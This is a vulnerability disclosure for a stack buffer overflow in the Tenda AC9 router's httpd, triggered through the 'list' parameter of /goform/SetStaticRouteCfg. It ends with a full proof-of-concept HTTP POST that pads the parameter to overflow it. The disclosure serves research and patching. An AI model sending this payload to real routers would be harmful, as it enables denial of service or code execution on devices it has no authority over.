Stack-based Buffer Overflow in the Tenda AC9 V3.0

Vender: Tenda

Firmware Version: <= V15.03.06.60_EN

Exploit Author: beatjean of VARAS@IIE

Vendor Homepage: http://www.tendacn.com/

Hardware Link: https://www.tendacn.com/us/product/AC9.html

Description

Stack-based buffer overflow in the httpd server of Tenda AC9 V15.03.06.60_EN with hardware version 3 and AC15 V15.03.05.19(9061)_EN allows remote attackers to achieve code execution or denial of service via a malicious POST request to /goform/SetStaticRouteCfg.

Vulnerability Details

This vulnerability occurs because fromSetRouteStatic function retrieves the content sent by the user from the post request, and then using sscanf directly parse content into the stack variable.

Reproduction Steps in AC9:

1. Go to your wi-fi router gateway
2. login with admin
3. append a number of 'a' into the value of the parameter "list"

```
POST /goform/SetStaticRouteCfg HTTP/1.1
Host: 192.168.0.1
Content-Length: 1118
Accept: */*
Origin: http://192.168.0.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.0.1/static_route.html?random=0.3763012118078688&
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: uid=8jDWUkDgwn; bLanguage=cn; password=c90fac92f628e1c0f7df4dfc8175cbb01jbtgb
Connection: close

list=192.168.22.0,255.255.255.0,192.168.2.1,WAN1~192.168.225.0,255.255.255.0,192.168.1.1,WAN10aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```